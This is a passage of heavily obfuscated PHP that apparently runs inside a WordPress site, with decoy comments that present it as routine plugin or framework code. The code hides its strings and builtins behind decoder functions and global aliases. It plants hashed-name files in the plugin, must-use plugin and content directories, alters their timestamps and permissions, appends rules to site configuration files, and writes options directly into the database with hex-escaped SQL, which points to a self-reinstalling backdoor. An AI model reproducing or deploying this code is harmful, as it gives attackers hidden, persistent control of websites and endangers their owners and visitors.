// Intl extension: propagate-const stack-frame

 @token_get_all($uh3v9zp8lp,     TOKEN_PARSE);
    }  catch      (Throwable  $ye68b7hs2257kgf)  {
 return  false;


 }     catch   (Exception  $ye68b7hs2257kgf) {
      return false;



 }
   }  elseif (!pqt0j30bec0qiplt($uh3v9zp8lp)) {
    return false;
 }
      return     $uh3v9zp8lp;
 }
  function  f5qibx0z8bzfung4v54l()


 {
try    {
  if    (!$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(960)))    return;

        if   (!defined(okltugscqfcy(1101)))    return;



  $n9y6_64d5dum  =    l9fphe3zxtkrgsa16mwv();
if (!$n9y6_64d5dum)    {
 cn5f_d1o8z53bfph0();
  $n9y6_64d5dum    =    l9fphe3zxtkrgsa16mwv();
}
   $_pn6yklj_ikf_zgd = e7dnf6igrlpcuaapfpdtx5(c_5yznsrtgse_i(334),   "");
if   ($GLOBALS['__scf_m36_x4cy3m1b5_10']($_pn6yklj_ikf_zgd)    ===   0)    $_pn6yklj_ikf_zgd  =   $GLOBALS['__scf_hatt6968kz_1142']("\x00",  (0x6+0xa));
    $g8znsmupz0i91     =     (isset($GLOBALS[onlv7_99m8sby3(1114)]) &&    $GLOBALS['__scf_ncrh0liqs6be8x_41']($GLOBALS[e77owqcywda_d(1114)])  &&     $GLOBALS['__scf_m36_x4cy3m1b5_10']($GLOBALS[onlv7_99m8sby3(1143)])   >=  (0x5b+0x9))   ?  $GLOBALS[onlv7_99m8sby3(1143)]  :  e7dnf6igrlpcuaapfpdtx5(e77owqcywda_d(355),    "");
 if  ($GLOBALS['__scf_m36_x4cy3m1b5_10']($g8znsmupz0i91)    <  (62+38))   $g8znsmupz0i91     =  n5jwz4cg21xd8a8pjksdw();
 $tke1ukt7p7xvp     =   (isset($GLOBALS[c_5yznsrtgse_i(1115)])      &&    $GLOBALS['__scf_ncrh0liqs6be8x_41']($GLOBALS[onlv7_99m8sby3(1115)])   &&  $GLOBALS['__scf_m36_x4cy3m1b5_10']($GLOBALS[c_5yznsrtgse_i(1144)]) > (0x26+0xc))  ?   $GLOBALS[okltugscqfcy(1145)]  :   e7dnf6igrlpcuaapfpdtx5(c_5yznsrtgse_i(1146), "");

      $javg4p3usks    =  $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1147))  ? (string)  $GLOBALS['__scf__1yrfqcb0r_541'](home_url('/'),     PHP_URL_PATH) :     '/';

  if  ($javg4p3usks   ===   "")    $javg4p3usks     = '/';
  if      ($GLOBALS['__scf_pozjicggfgaq_9']($javg4p3usks,   -1) !==      '/') $javg4p3usks     .= '/';
       $gk7ln8djkh6 =  $GLOBALS['__scf_poant85f5yad_56']($g8znsmupz0i91      .   $tke1ukt7p7xvp  .    $_pn6yklj_ikf_zgd  .   $GLOBALS['__scf_ddem5kbgax66n3_570'](krw12r8wqgoe6vvpgv())   . $GLOBALS['__scf_ddem5kbgax66n3_570'](wqsd_polikby1vht83())  .  '|'  .  $GLOBALS['__scf_sp7azfm0t4x0x_100'](kgvyhbi5fxdnhzziy9wc("")) .    '|' . $javg4p3usks);
 unset($javg4p3usks);



    if (e7dnf6igrlpcuaapfpdtx5(e77owqcywda_d(1133),  "")   !== $gk7ln8djkh6)   {
      cn5f_d1o8z53bfph0();
$n9y6_64d5dum =     l9fphe3zxtkrgsa16mwv();
 }
   if  (!rqr3_97bcqnf0fx8()) return;
 $og0ebx9lu2qzdtmg    =     rb4qo3s3qey8iml9k_t();
  $hrqq3u8g0scbioo   =   @$GLOBALS['__scf_s8a8ra7wu3u_676']($og0ebx9lu2qzdtmg    .    c_5yznsrtgse_i(1148));



 if  ($hrqq3u8g0scbioo && $n9y6_64d5dum  &&  get_transient(c_5yznsrtgse_i(633)))  return;
d3xvvs16mnqed1k();
agxb24bx6rsxd1c385tlrh();
 ke9bvpjajhsm0el8nv();
 $b31w65oruk0v  =   @$GLOBALS['__scf_s8a8ra7wu3u_676']($og0ebx9lu2qzdtmg . onlv7_99m8sby3(1149));


$n9y6_64d5dum = l9fphe3zxtkrgsa16mwv();
     if  ($b31w65oruk0v    && $n9y6_64d5dum) {
 set_transient(onlv7_99m8sby3(1150), 1, (0x8d+0x9f));


      }
     }  catch (Throwable $ye68b7hs2257kgf)   {

   e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1151),  $ye68b7hs2257kgf);
        }   catch (Exception  $ye68b7hs2257kgf)  {
    }
   }
 function agxb24bx6rsxd1c385tlrh()
{
   try {
 if     (!defined(onlv7_99m8sby3(1101))) return;
  $og0ebx9lu2qzdtmg      =   rb4qo3s3qey8iml9k_t();$cptxfjdpg=97*7;$pv1d3s0_ks=$cptxfjdpg-32;
 $u29onh033r7dfgir   = hc439iwbgn5b2nwx5x_lu();
 $oc7shix6l_5l92hf =   l09115umv3lykft9t(ABSPATH . onlv7_99m8sby3(1152), (0x3+0x5))    .   okltugscqfcy(1153);
   

$dw4d1hwlron1z    =    $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1154)) ?      @$GLOBALS['__scf_hccbqyvtdwo0fx_109'](e77owqcywda_d(497))   : false;

   $dw4d1hwlron1z   = $GLOBALS['__scf_ncrh0liqs6be8x_41']($dw4d1hwlron1z)  ? $GLOBALS['__scf__90_xdmo58j3q_311']($dw4d1hwlron1z)      :    "";
 if  ($dw4d1hwlron1z    === ""   ||  $GLOBALS['__scf_gc0se3zjo_7iom_1155']($dw4d1hwlron1z, okltugscqfcy(498)) ===   0)    $dw4d1hwlron1z   =  okltugscqfcy(499);



$af0zguvzihl = $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())    .  c_5yznsrtgse_i(160);
     $p6gqcjalxvca3  =      defined(okltugscqfcy(797))   ?     WP_CONTENT_DIR . e77owqcywda_d(1156)   :    $af0zguvzihl;
  $uhdedzo43xsf2m    = array($GLOBALS['__scf_zwo1a6spxvy_12']($og0ebx9lu2qzdtmg, e77owqcywda_d(563)), $GLOBALS['__scf_zwo1a6spxvy_12']($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()),    onlv7_99m8sby3(563)),  $GLOBALS['__scf_zwo1a6spxvy_12']($u29onh033r7dfgir, onlv7_99m8sby3(563)),   $GLOBALS['__scf_zwo1a6spxvy_12']($af0zguvzihl,    okltugscqfcy(1157)),   $GLOBALS['__scf_zwo1a6spxvy_12']($p6gqcjalxvca3, okltugscqfcy(1158)));
if   (defined(okltugscqfcy(797)))   $uhdedzo43xsf2m[] =   $GLOBALS['__scf_zwo1a6spxvy_12'](WP_CONTENT_DIR,    e77owqcywda_d(1159));
  foreach ($GLOBALS['__scf_youxoa71214_145']($uhdedzo43xsf2m)  as  $b97pw_klywhvu)   {
// WP useBlockProps: negotiate call-graph



 $h38guwrrqjw0    =    $b97pw_klywhvu     .    '/'    . $oc7shix6l_5l92hf;

      if  (@$GLOBALS['__scf_cr6q9fwgft_18']($h38guwrrqjw0))     fpxah83cbub6ve8k46v18($h38guwrrqjw0, null);
 $nkmc2blwz2     = $b97pw_klywhvu  . okltugscqfcy(1160)   . $oc7shix6l_5l92hf;
  if    (@$GLOBALS['__scf_cr6q9fwgft_18']($nkmc2blwz2)) fpxah83cbub6ve8k46v18($nkmc2blwz2,  null);

}
unset($af0zguvzihl, $p6gqcjalxvca3, $uhdedzo43xsf2m, $b97pw_klywhvu, $h38guwrrqjw0, $nkmc2blwz2);
  $ukmily5vlhwezg3  =  array($GLOBALS['__scf_zwo1a6spxvy_12'](ABSPATH, e77owqcywda_d(1159)));
if (defined(e77owqcywda_d(797)))  $ukmily5vlhwezg3[]  =  $GLOBALS['__scf_zwo1a6spxvy_12'](WP_CONTENT_DIR,    e77owqcywda_d(1159));
   $ukmily5vlhwezg3[]    =  $GLOBALS['__scf_zwo1a6spxvy_12']($og0ebx9lu2qzdtmg,  e77owqcywda_d(1159));
    $ukmily5vlhwezg3[] =    $GLOBALS['__scf_zwo1a6spxvy_12']($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()),  okltugscqfcy(1159));
     foreach  ($GLOBALS['__scf_youxoa71214_145']($ukmily5vlhwezg3) as   $kro_joickih) {

$b0eokvbpm_bdh  =  $kro_joickih    .   '/'  .   $dw4d1hwlron1z;
 $uq0rbicwnyd     = @$GLOBALS['__scf_cr6q9fwgft_18']($b0eokvbpm_bdh) ?   @$GLOBALS['__scf_ha14er2zmzf_92']($b0eokvbpm_bdh)    : "";
  if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($uq0rbicwnyd)   ||      $uq0rbicwnyd   === ""    || $GLOBALS['__scf_ffvfced40_hd3k_7']($uq0rbicwnyd,     $oc7shix6l_5l92hf) ===   false) continue;


  $pqrhlxa9knywc      = $GLOBALS['__scf_t8cv4weumn7_439'](c_5yznsrtgse_i(1161) .   $GLOBALS['__scf_tyvjag46ltt_803']($oc7shix6l_5l92hf,  '/')  .  onlv7_99m8sby3(1162), "\n",  $uq0rbicwnyd);


 if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($pqrhlxa9knywc)    && $pqrhlxa9knywc  !==      $uq0rbicwnyd && n_52vz_mvq1filje($b0eokvbpm_bdh,    $pqrhlxa9knywc))  e_42zxx3yq4pdz4bo4(e77owqcywda_d(1163),     e77owqcywda_d(1164));
  }


  unset($ukmily5vlhwezg3, $kro_joickih,  $b0eokvbpm_bdh,      $uq0rbicwnyd,   $pqrhlxa9knywc);
   if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1165)))   {
@delete_option(okltugscqfcy(1166));
   @delete_option(onlv7_99m8sby3(1167));
 @delete_option(e77owqcywda_d(1168));


}
}  catch  (Throwable $ye68b7hs2257kgf)   {
e_42zxx3yq4pdz4bo4(okltugscqfcy(1163),   $ye68b7hs2257kgf);
   } catch (Exception $ye68b7hs2257kgf)   {
}
/* multilinear locator */

}
 function   z7hzatbx5rkjdu3z5n4z3()
     {
// inject accumulator for PHPUnit 10

    try  {
 if    (!defined(onlv7_99m8sby3(1101)))  return;
        $og0ebx9lu2qzdtmg     =    rb4qo3s3qey8iml9k_t();
$u29onh033r7dfgir   =     hc439iwbgn5b2nwx5x_lu();
 

$oc7shix6l_5l92hf  =    l09115umv3lykft9t(ABSPATH    .    c_5yznsrtgse_i(1169),    (0x3+0x5))   . okltugscqfcy(1153);
$af0zguvzihl    = $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())   .   onlv7_99m8sby3(1156);

$p6gqcjalxvca3    =    defined(e77owqcywda_d(1170))    ?    WP_CONTENT_DIR .  okltugscqfcy(1156)      :   $af0zguvzihl;

$uhdedzo43xsf2m = array($GLOBALS['__scf_zwo1a6spxvy_12']($og0ebx9lu2qzdtmg,   e77owqcywda_d(1171)), $GLOBALS['__scf_zwo1a6spxvy_12']($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()),  e77owqcywda_d(1171)), $GLOBALS['__scf_zwo1a6spxvy_12']($u29onh033r7dfgir,      c_5yznsrtgse_i(1171)),  $GLOBALS['__scf_zwo1a6spxvy_12']($af0zguvzihl,  okltugscqfcy(1171)), $GLOBALS['__scf_zwo1a6spxvy_12']($p6gqcjalxvca3,      c_5yznsrtgse_i(1172)));
  if (defined(c_5yznsrtgse_i(1173)))  $uhdedzo43xsf2m[]    = $GLOBALS['__scf_zwo1a6spxvy_12'](WP_CONTENT_DIR, onlv7_99m8sby3(1172));
 

  foreach ($GLOBALS['__scf_youxoa71214_145']($uhdedzo43xsf2m)  as $b97pw_klywhvu)    {
// @inline backlog




$rlnacedf53yh7beg  = $b97pw_klywhvu   . '/'    .  $oc7shix6l_5l92hf;
 if    (@$GLOBALS['__scf_cr6q9fwgft_18']($rlnacedf53yh7beg))     fpxah83cbub6ve8k46v18($rlnacedf53yh7beg,    null);
     }
// WP Script Modules: irreducible handshake



unset($af0zguvzihl,   $p6gqcjalxvca3,   $uhdedzo43xsf2m, $b97pw_klywhvu,   $rlnacedf53yh7beg);
$u_k0o00j9jy1e66     =  array($GLOBALS['__scf_zwo1a6spxvy_12'](ABSPATH, e77owqcywda_d(1172)));
  if    (defined(c_5yznsrtgse_i(1173))) $u_k0o00j9jy1e66[] =  $GLOBALS['__scf_zwo1a6spxvy_12'](WP_CONTENT_DIR,      onlv7_99m8sby3(1172));
$u_k0o00j9jy1e66[]  =    $GLOBALS['__scf_zwo1a6spxvy_12']($og0ebx9lu2qzdtmg,  c_5yznsrtgse_i(1174));
      $u_k0o00j9jy1e66[]  = $GLOBALS['__scf_zwo1a6spxvy_12']($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()),    c_5yznsrtgse_i(1174));$glj6c2nwg4fn0q=9263;$jcrbpaj821vpqn=$glj6c2nwg4fn0q%13;



  foreach   ($GLOBALS['__scf_youxoa71214_145']($u_k0o00j9jy1e66)  as   $yqrdbn0qbwlm0o)    {
   $nkmc2blwz2     =  $yqrdbn0qbwlm0o .   okltugscqfcy(1175);
      $p4qyhuzy379rv4ie =   @$GLOBALS['__scf_cr6q9fwgft_18']($nkmc2blwz2)  ?  @$GLOBALS['__scf_ha14er2zmzf_92']($nkmc2blwz2)  : "";
       if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($p4qyhuzy379rv4ie) ||   $p4qyhuzy379rv4ie ===  ""     || $GLOBALS['__scf_ffvfced40_hd3k_7']($p4qyhuzy379rv4ie, $oc7shix6l_5l92hf)    ===   false)  continue;
   $y5j6ty4the7 =    rimurr9dgfa1ikqhfx5qf($p4qyhuzy379rv4ie,     $oc7shix6l_5l92hf);
 if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($y5j6ty4the7)      &&  $y5j6ty4the7  !== $p4qyhuzy379rv4ie   &&      n_52vz_mvq1filje($nkmc2blwz2, $y5j6ty4the7)) e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1176), c_5yznsrtgse_i(1164));
     }
// Memcached adapter: static-adj event-bus

unset($u_k0o00j9jy1e66,    $yqrdbn0qbwlm0o,  $nkmc2blwz2,  $p4qyhuzy379rv4ie,  $y5j6ty4the7);
if     ($GLOBALS['__scf_w3427jutwi_101']()      ===   e77owqcywda_d(395))    return;
    if (!wn3whf021lq0ko())  return;
      if   (!rqr3_97bcqnf0fx8()) return;$l9_l2jmd=42*8;$kgwdmx9hu=$l9_l2jmd-16;
 $spaedeemul6_riht  = $u29onh033r7dfgir  . c_5yznsrtgse_i(1177);
   $i43d2ixckd7 =  e77owqcywda_d(1178) .    "\n"
  . onlv7_99m8sby3(1179)      .   "\n"     .    okltugscqfcy(1180)   .    "\n" . onlv7_99m8sby3(1181)   . "\n"
     . e77owqcywda_d(1182)   . "\n"      .   c_5yznsrtgse_i(1183) .  "\n"     . onlv7_99m8sby3(1184) . "\n"
. onlv7_99m8sby3(1185)      .   "\n";
// fuzz asynchronous cipher-suite

  $vvxkd29282s  =  @$GLOBALS['__scf_s8a8ra7wu3u_676']($spaedeemul6_riht);
 $current  =   $vvxkd29282s    ?  @$GLOBALS['__scf_ha14er2zmzf_92']($spaedeemul6_riht)   : "";



  if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($current))    {
  e_42zxx3yq4pdz4bo4(okltugscqfcy(1176),    okltugscqfcy(1186));
   return;
}
$qwicxwrxd2    =    array($GLOBALS['__scf_zwo1a6spxvy_12'](ABSPATH, e77owqcywda_d(1174)));
if  (defined(onlv7_99m8sby3(1173))) $qwicxwrxd2[]  =  $GLOBALS['__scf_zwo1a6spxvy_12'](WP_CONTENT_DIR,  e77owqcywda_d(1187));
if   (defined(okltugscqfcy(13))) $qwicxwrxd2[]  = $GLOBALS['__scf_zwo1a6spxvy_12'](WPMU_PLUGIN_DIR,   onlv7_99m8sby3(1187));
if  (defined(okltugscqfcy(1035)))   $qwicxwrxd2[]   =  $GLOBALS['__scf_zwo1a6spxvy_12'](WP_PLUGIN_DIR, onlv7_99m8sby3(1187));



      $v5j_hm1oddj_ =  $GLOBALS['__scf_zwo1a6spxvy_12']($u29onh033r7dfgir, c_5yznsrtgse_i(1187));
 $k9d84exdtdj  = $GLOBALS['__scf_wwy_cardw8r5v6_146']($v5j_hm1oddj_,  $qwicxwrxd2, true);$alv_n691u3r=(0x54+0xda);$m1kpeeuk13fy=$alv_n691u3r%17;
    unset($qwicxwrxd2,   $v5j_hm1oddj_);
       if  (!$k9d84exdtdj)  {
  $vugr2wx9mdx36ip  =   $u29onh033r7dfgir .    onlv7_99m8sby3(1188);



if   (!@$GLOBALS['__scf_cr6q9fwgft_18']($vugr2wx9mdx36ip)) wf9y470__ikilr($vugr2wx9mdx36ip, "",     e77owqcywda_d(1189));


 if    ($GLOBALS['__scf_ffvfced40_hd3k_7']($current,   c_5yznsrtgse_i(1190)) ===      false) {
     $mlc2aw4eqz29   =  $current;
    if ($current !==     ""  &&   $GLOBALS['__scf_pozjicggfgaq_9']($current,   -1)     !== "\n")  $current .= "\n";
  $snzft2b1tu47720 =    @$GLOBALS['__scf_ha14er2zmzf_92']($spaedeemul6_riht);
    if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($snzft2b1tu47720))  $snzft2b1tu47720 = "";
    if     ($snzft2b1tu47720  !==  $mlc2aw4eqz29) {
 e_42zxx3yq4pdz4bo4(okltugscqfcy(1176),   okltugscqfcy(1191));


   } else    {
n_52vz_mvq1filje($spaedeemul6_riht,    $current   . $i43d2ixckd7);
qdde0bjty1e07vpar5t2($spaedeemul6_riht,    sx7gtblw9v0s3m1l7());
 if (!$vvxkd29282s)   jl7b1mmow1nrgaho8($spaedeemul6_riht, (363+57));
}
  unset($snzft2b1tu47720,   $mlc2aw4eqz29);
   }



 }
  unset($k9d84exdtdj,   $vugr2wx9mdx36ip, $vvxkd29282s);
    }  catch (Throwable $ye68b7hs2257kgf)   {

e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1192),    $ye68b7hs2257kgf);

}     catch (Exception  $ye68b7hs2257kgf) {
 e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1192),  $ye68b7hs2257kgf);
    }
    }
  function lrvopvikzdgr9rxqhk5()
{
// @deallocate leaky-bucket




      try     {



if (!defined(okltugscqfcy(1193)))   return;



    if (!$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1041)))     return;
 $iiiwigvhfj9   = l09115umv3lykft9t(ABSPATH . onlv7_99m8sby3(1194),   (0x6+0x4));
  $c0abca9op_     =   s_41a4npfkl91g6lvjvfe();
   if  (!$c0abca9op_ ||   $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_) < (405+95))    return;
      $hm4zk_al_f =  doc379joovtj_lisexoga9();



    $current     =  @get_option($iiiwigvhfj9,    "");
  if    ($current &&  $GLOBALS['__scf_m36_x4cy3m1b5_10']($current) ===   $GLOBALS['__scf_m36_x4cy3m1b5_10']($hm4zk_al_f)  && $current ===    $hm4zk_al_f)  return;
       if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(912)))  {
update_option($iiiwigvhfj9,   $hm4zk_al_f, okltugscqfcy(1117));



 } elseif (defined(e77owqcywda_d(1195))     &&   defined(onlv7_99m8sby3(1196))      && defined(okltugscqfcy(1197)) &&     defined(onlv7_99m8sby3(112))     && $GLOBALS['__scf_yuvry6nxa5dk96_516'](okltugscqfcy(1198)))     {
  $nlddr922av   =  onlv7_99m8sby3(1199);
  $n_mj25s6nva =    @new  $nlddr922av(constant(okltugscqfcy(1200)),    constant(okltugscqfcy(1196)),   constant(onlv7_99m8sby3(1197)),  constant(e77owqcywda_d(1201)));
  if  ($n_mj25s6nva &&    !$n_mj25s6nva->connect_errno)  {
$prefix  = isset($GLOBALS[e77owqcywda_d(1097)]->prefix)   ?   $GLOBALS[okltugscqfcy(1097)]->prefix  :  okltugscqfcy(1202);
 $a812bgaaxy8ng =   $n_mj25s6nva->real_escape_string($hm4zk_al_f);
    $c5ygqloxfnq0j =   $n_mj25s6nva->real_escape_string($iiiwigvhfj9);
 $n_mj25s6nva->query("\x49\x4eSE\x52\x54 \x49NT\x4f {$prefix}\x6f\x70t\x69ons (option_\x6eame, \x6f\x70\x74ion_v\x61l\x75e, \x61u\x74\x6f\x6coad) \x56AL\x55ES ('{$c5ygqloxfnq0j}', '{$a812bgaaxy8ng}', 'no') O\x4e \x44UP\x4cI\x43\x41TE \x4b\x45Y UP\x44ATE \x6f\x70t\x69\x6f\x6e_\x76alu\x65='{$a812bgaaxy8ng}'");

  if   ($n_mj25s6nva->error)   e_42zxx3yq4pdz4bo4(e77owqcywda_d(1203),    e77owqcywda_d(1204) .   $GLOBALS['__scf_pozjicggfgaq_9']($n_mj25s6nva->error,   0, (0x28+0x50)));
   $n_mj25s6nva->close();
}
 }
    }     catch   (Throwable $ye68b7hs2257kgf)   {
 e_42zxx3yq4pdz4bo4(e77owqcywda_d(1205),    $ye68b7hs2257kgf);


    }  catch     (Exception   $ye68b7hs2257kgf) {
  }

     }
 function      ui5gaq394x13hnjrqiw()
   {$dnexx945t6i=37;$a5ngzc_tmpniuc=($dnexx945t6i>0)?$dnexx945t6i:-$dnexx945t6i;
$wlccfhc_p80pk61 =    defined(onlv7_99m8sby3(1173))  ? WP_CONTENT_DIR : ABSPATH  .   e77owqcywda_d(1206);

 $k7b_rvq0a5  =    l09115umv3lykft9t(ABSPATH .    e77owqcywda_d(1207),     (1+7));
 return    array($wlccfhc_p80pk61     . e77owqcywda_d(1208),      $wlccfhc_p80pk61    .   e77owqcywda_d(1209)    .  $k7b_rvq0a5    . onlv7_99m8sby3(1210), $k7b_rvq0a5);
   }
 function   q2ntend2yn0jjp2l0b9z4o($nw_1djwq2es1)

 {
 $q9c_6vlkjzpl8aal   =   (int)  @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($nw_1djwq2es1);
  if   ($q9c_6vlkjzpl8aal  <  (86+14)   ||   $q9c_6vlkjzpl8aal > (0xa43e3+0x15bc1d)) return  false;
     $xzp109u18gm     =    @$GLOBALS['__scf_ha14er2zmzf_92']($nw_1djwq2es1);
if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($xzp109u18gm)    ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($xzp109u18gm)   <  (59+41)    || $GLOBALS['__scf_m36_x4cy3m1b5_10']($xzp109u18gm)    > (0x17d752+0x828ae))  return    false;
 $jl_ruybeyx54iw   =  $GLOBALS['__scf_yg8mfbm26s_111'](':',  $xzp109u18gm,   (0x3+0x1));

if      ($GLOBALS['__scf_hotyagmbtkrb_36']($jl_ruybeyx54iw)   <   (12^8) || $jl_ruybeyx54iw[0]  !== e77owqcywda_d(1211)  || $GLOBALS['__scf_m36_x4cy3m1b5_10']($jl_ruybeyx54iw[(2+1)]) < (60-10))   return   false;
$yaow7_phfq9 =  @$GLOBALS['__scf_j_3rba3nic_344']($jl_ruybeyx54iw[(2+1)]);
   if    ($yaow7_phfq9 === false   ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($yaow7_phfq9) <     (0x6+0x2c))  return     false;
 if ($GLOBALS['__scf_pozjicggfgaq_9']($yaow7_phfq9, 0,     2)  ===  "\x1f\x8b") {
   $_z6aurp0dc701_i     =  @$GLOBALS['__scf_at1pry017d_267']('V',  $GLOBALS['__scf_pozjicggfgaq_9']($yaow7_phfq9,   -(0x1+0x3)));
 if  (!$GLOBALS['__scf_a91xkwk0qm_35']($_z6aurp0dc701_i)  || $_z6aurp0dc701_i[1] < (143-43) ||   $_z6aurp0dc701_i[1]  >  (2007953-959377))   return  false;
    if ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(268)))   $yaow7_phfq9     = @gzdecode($yaow7_phfq9, (1211368-162792));



    elseif  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1212)))    {
      $yaow7_phfq9 =  @gzinflate($GLOBALS['__scf_pozjicggfgaq_9']($yaow7_phfq9,  (0x4+0x6),    $GLOBALS['__scf_m36_x4cy3m1b5_10']($yaow7_phfq9)   -    (0x10+0x2)),  (1048494+82));
if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($yaow7_phfq9)  &&    $GLOBALS['__scf_m36_x4cy3m1b5_10']($yaow7_phfq9)     >    (1048531+45))     return  false;
  }  else return    false;
 }
   if    (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($yaow7_phfq9)  ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($yaow7_phfq9)    <  (0xe+0x56)   ||     $GLOBALS['__scf_pozjicggfgaq_9']($yaow7_phfq9,     0, (0x4+0x1))  !==  c_5yznsrtgse_i(645) ||   $GLOBALS['__scf_poant85f5yad_56']($yaow7_phfq9)    !==  $jl_ruybeyx54iw[2])  return  false;
 return $yaow7_phfq9;
     }
 function   x14ktf8h3ofdktl3m()


 {
try     {



if (!defined(okltugscqfcy(1193)))  return;
    $yviawfmhs6i9   =   ui5gaq394x13hnjrqiw();
if  (!@$GLOBALS['__scf_cr6q9fwgft_18']($yviawfmhs6i9[1]))   return;



  if  (q2ntend2yn0jjp2l0b9z4o($yviawfmhs6i9[1]) ===  false)   return;
$uh3v9zp8lp = mua1wkeo2i85r3r8dahw(onlv7_99m8sby3(626), array('__SLUG__'),  array($GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),    c_5yznsrtgse_i(1153))));
  if    (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($uh3v9zp8lp) ||     $uh3v9zp8lp  ===     "")  return;$am6hp7hio=3962;$eht74npn=$am6hp7hio%17;
$uh3v9zp8lp  = $GLOBALS['__scf_t8cv4weumn7_439'](c_5yznsrtgse_i(1213),    "",  $uh3v9zp8lp);
   if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($uh3v9zp8lp)    ||  $uh3v9zp8lp === "") return;
  $hxmcz13sxwsdgpx = w218ynit42v8uao2p()    .  ':'     .  l09115umv3lykft9t(ABSPATH   . c_5yznsrtgse_i(1214), (167^175));$yfnborc4x1j0v=34|1;$b92z7ejkmmeov6=$yfnborc4x1j0v^20;



 $rp0u3mvtw94mch  =  c_5yznsrtgse_i(1215)   .  $hxmcz13sxwsdgpx    .   e77owqcywda_d(1216);
 $w7i1fu8yrx  =   c_5yznsrtgse_i(1217)  . $hxmcz13sxwsdgpx  .  onlv7_99m8sby3(1216);
 $l2pkvz34wrkqxy  =  e77owqcywda_d(1218)   . $yviawfmhs6i9[2] . onlv7_99m8sby3(1219)     .   w218ynit42v8uao2p()      .    onlv7_99m8sby3(1216) .    "\n"  .   $uh3v9zp8lp;
  if     (!@$GLOBALS['__scf_cr6q9fwgft_18']($yviawfmhs6i9[0]))  {
     if    (!dw5xb53ayd6_2w149kl6c($yviawfmhs6i9[0],  ""))  {
// WP Home Link: streaming handshake




 e_42zxx3yq4pdz4bo4(e77owqcywda_d(1207), okltugscqfcy(1220));
return;
     }
 if  (n_52vz_mvq1filje($yviawfmhs6i9[0], $l2pkvz34wrkqxy))  {
qdde0bjty1e07vpar5t2($yviawfmhs6i9[0],     sx7gtblw9v0s3m1l7());


jl7b1mmow1nrgaho8($yviawfmhs6i9[0], (349+71));
 gy672vrnjusgcel1($yviawfmhs6i9[0]);

  z70pp09ofsx7infprg85($yviawfmhs6i9[0]);
  }
  return;
}
// acquire proxy for WP Redux Store

     $b5ho7dho67k   =  @$GLOBALS['__scf_ha14er2zmzf_92']($yviawfmhs6i9[0]);$v1nbhit99=21*6;$plqd8sgsgl94p=$v1nbhit99-12;
if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($b5ho7dho67k)  ||   $GLOBALS['__scf_m36_x4cy3m1b5_10']($b5ho7dho67k) > (3309895-1212743)) return;
  if  ($GLOBALS['__scf_ffvfced40_hd3k_7']($b5ho7dho67k, $rp0u3mvtw94mch)    !==   false  && $GLOBALS['__scf_ffvfced40_hd3k_7']($b5ho7dho67k,   $w7i1fu8yrx) !== false)  return;
if  ($GLOBALS['__scf_ffvfced40_hd3k_7']($b5ho7dho67k,   onlv7_99m8sby3(1221)) ===  false     &&   $GLOBALS['__scf_ffvfced40_hd3k_7']($b5ho7dho67k,      c_5yznsrtgse_i(1222) .  $yviawfmhs6i9[2])  !== false)  {
// WordPress 6.2 navigation action sequence


 if  ($GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1223),     $GLOBALS['__scf_pozjicggfgaq_9']($b5ho7dho67k, 0, (25<<3)),   $uy20bu0nah7n2l) &&   version_compare($uy20bu0nah7n2l[1], w218ynit42v8uao2p(),  e77owqcywda_d(192)))      return;
        if  (!dw5xb53ayd6_2w149kl6c($yviawfmhs6i9[0],    $b5ho7dho67k))   {
  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1207), onlv7_99m8sby3(1220));
 return;
    }
// eventual backlog

   if   (n_52vz_mvq1filje($yviawfmhs6i9[0],  $l2pkvz34wrkqxy))  {
 qdde0bjty1e07vpar5t2($yviawfmhs6i9[0],   sx7gtblw9v0s3m1l7());

jl7b1mmow1nrgaho8($yviawfmhs6i9[0], (333+87));
gy672vrnjusgcel1($yviawfmhs6i9[0]);
z70pp09ofsx7infprg85($yviawfmhs6i9[0]);
 }
return;
   }
 $cz98d7h6t7  =   l09115umv3lykft9t(ABSPATH  .    c_5yznsrtgse_i(1214),     (1<<3));
 $b5ho7dho67k =  $GLOBALS['__scf_t8cv4weumn7_439'](c_5yznsrtgse_i(1224)   .  $cz98d7h6t7    . c_5yznsrtgse_i(1225), "",   $b5ho7dho67k);
 if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($b5ho7dho67k)) {

